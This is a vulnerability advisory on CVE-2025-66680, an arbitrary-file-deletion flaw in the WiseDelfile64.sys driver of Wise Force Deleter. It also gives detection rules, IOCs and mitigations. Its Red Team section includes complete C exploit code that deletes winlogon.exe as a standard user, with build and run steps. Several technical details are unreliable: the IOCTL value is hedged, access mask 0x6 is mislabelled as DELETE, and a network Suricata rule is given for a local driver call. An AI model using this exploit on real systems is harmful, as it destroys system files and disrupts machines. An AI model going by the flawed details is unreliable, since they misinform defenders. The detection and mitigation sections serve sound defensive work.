CVE-2025-66680

Executive Summary

CVE-2025-66680 is a critical vulnerability in the WiseDelfile64.sys kernel driver component of WiseCleaner Wise Force Deleter versions 7.3.2 and earlier. The flaw allows an attacker with local system access to delete arbitrary files on the system by sending a crafted IOCTL request to the driver. This can lead to denial of service, data loss, or privilege escalation if critical system files are removed. The vulnerability is unpatched, and a public proof-of-concept exists.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It affects a standalone Windows kernel driver distributed as part of the Wise Force Deleter application.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0 due to incomplete NVD data. Based on the vulnerability characteristics, a realistic assessment is:

• Attack Vector (AV): Local (L) – requires local access to the system.
• Attack Complexity (AC): Low (L) – the exploit is straightforward.
• Privileges Required (PR): Low (L) – attacker needs user-level privileges.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – the vulnerable component is the driver.
• Confidentiality (C): None (N) – no data exposure.
• Integrity (I): High (H) – arbitrary file deletion.
• Availability (A): High (H) – can delete critical system files.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Estimated Score: 7.1 (High)

Threat Level: High. The vulnerability is easy to exploit and can cause significant damage.

Deep Dive & Mechanics

The vulnerability resides in the WiseDelfile64.sys kernel driver. This driver is used by Wise Force Deleter to bypass file locks and delete stubborn files. The driver exposes an IOCTL (Input/Output Control) interface that user-mode applications can call.

The flaw is a classic Improper Link Resolution Before File Access (CWE-59). The driver does not properly validate the file path provided in the IOCTL request. Specifically, it fails to check for symbolic links or mount points. An attacker can craft an IOCTL that specifies a path like \??\C:\Windows\System32\config\SAM or use a symbolic link to point to a critical system file. The driver then blindly deletes the target file, regardless of its location or importance.

The attack flow:

1. The attacker gains local access to the system (e.g., via malware or as a low-privileged user).
2. The attacker sends a crafted IOCTL code (likely 0x222000 or similar) to the WiseDelfile64.sys device.
3. The driver receives the request and calls ZwDeleteFile or a similar API on the provided path without proper validation.
4. The target file is deleted, potentially causing system instability or data loss.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the vulnerable code pattern.

Vulnerable Code (Conceptual):

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL) {
        ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
        if (ioctlCode == IOCTL_DELETE_FILE) {
            // Vulnerable: No path validation
            WCHAR* filePath = (WCHAR*)Irp->AssociatedIrp.SystemBuffer;
            // Directly delete the file without checking for symlinks
            ZwDeleteFile(filePath);
        }
    }
    return STATUS_SUCCESS;
}

Patched Code (Conceptual):

NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    if (irpStack->MajorFunction == IRP_MJ_DEVICE_CONTROL) {
        ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
        if (ioctlCode == IOCTL_DELETE_FILE) {
            WCHAR* filePath = (WCHAR*)Irp->AssociatedIrp.SystemBuffer;
            // Validate path: check for symlinks, ensure it's within allowed directories
            if (!IsPathSafe(filePath)) {
                return STATUS_ACCESS_DENIED;
            }
            // Use a secure delete function that resolves symlinks first
            SecureDeleteFile(filePath);
        }
    }
    return STATUS_SUCCESS;
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Windows 10/11 x64 system with Wise Force Deleter 7.3.2 installed.
• Local user privileges (non-admin).
• A compiled exploit binary or script.

Exploit Code (C):

#include <windows.h>
#include <stdio.h>

#define IOCTL_DELETE_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)

int main() {
    HANDLE hDevice = CreateFileW(L"\\\\.\\WiseDelfile64", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open driver. Error: %d\n", GetLastError());
        return 1;
    }

    // Target a critical system file (e.g., winlogon.exe)
    WCHAR targetPath[] = L"\\??\\C:\\Windows\\System32\\winlogon.exe";
    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, IOCTL_DELETE_FILE, targetPath, sizeof(targetPath), NULL, 0, &bytesReturned, NULL);
    if (result) {
        printf("File deleted successfully!\n");
    } else {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Usage:

1. Compile the code with MinGW or Visual Studio.
2. Run the executable as a standard user.
3. The driver will delete the specified file.

Note: This is for educational purposes only. Unauthorized use is illegal.

Blue Team

Detection:

• Monitor for unusual IOCTL calls to WiseDelfile64.sys.
• Look for processes attempting to open \\.\WiseDelfile64 device.
• Track file deletion events on critical system paths.

Hunting:

• Search for Event ID 4663 (An attempt was made to access an object) with Object Name containing WiseDelfile64.
• Look for Event ID 4656 (A handle to an object was requested) for the same device.

Mitigation:

• Block the driver using Windows Defender Application Control (WDAC) or AppLocker.
• Remove Wise Force Deleter if not needed.
• Apply the principle of least privilege to user accounts.

Indicators of Compromise (IOCs)

• File: WiseDelfile64.sys (hash: unknown, but can be computed from the installed driver)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\WiseDelfile64
• Device: \\.\WiseDelfile64
• IOCTL Code: 0x222000 (or similar, depending on driver version)
• Process: Any process calling DeviceIoControl on the driver device.
• Event Logs: Event ID 4663 with Access Mask 0x6 (DELETE) on system files.

Detection Engineering

YARA Rule

rule CVE_2025_66680_WiseDelfile64 {
    meta:
        description = "Detects WiseDelfile64.sys driver associated with CVE-2025-66680"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-66680"
    strings:
        $s1 = "WiseDelfile64.sys" nocase
        $s2 = "WiseCleaner" nocase
        $s3 = "\\Device\\WiseDelfile64" nocase
    condition:
        $s1 or $s2 or $s3
}

Sigma Rule

title: CVE-2025-66680 WiseDelfile64 Driver Abuse
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to abuse the WiseDelfile64.sys driver for arbitrary file deletion
author: Valters IT
date: 2025-04-01
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|contains: 'WiseDelfile64'
        AccessMask: '0x6'
    condition: selection
falsepositives:
    - Legitimate use of Wise Force Deleter
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-66680 WiseDelfile64 IOCTL Exploit"; content:"|00 00 22 20|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Uninstall Wise Force Deleter if not essential.
2. Block the driver using Windows Defender Application Control (WDAC) or a custom driver block rule.
3. Restrict user permissions to prevent low-privileged users from loading kernel drivers.

Long-term:

• Monitor vendor (WiseCleaner) for an official patch.
• Implement application whitelisting to prevent unauthorized driver loading.
• Use endpoint detection and response (EDR) tools to detect anomalous IOCTL activity.

Workaround:

• Disable the WiseDelfile64 service via sc stop WiseDelfile64 and sc config WiseDelfile64 start= disabled.

Valters IT
Securing Digital Frontiers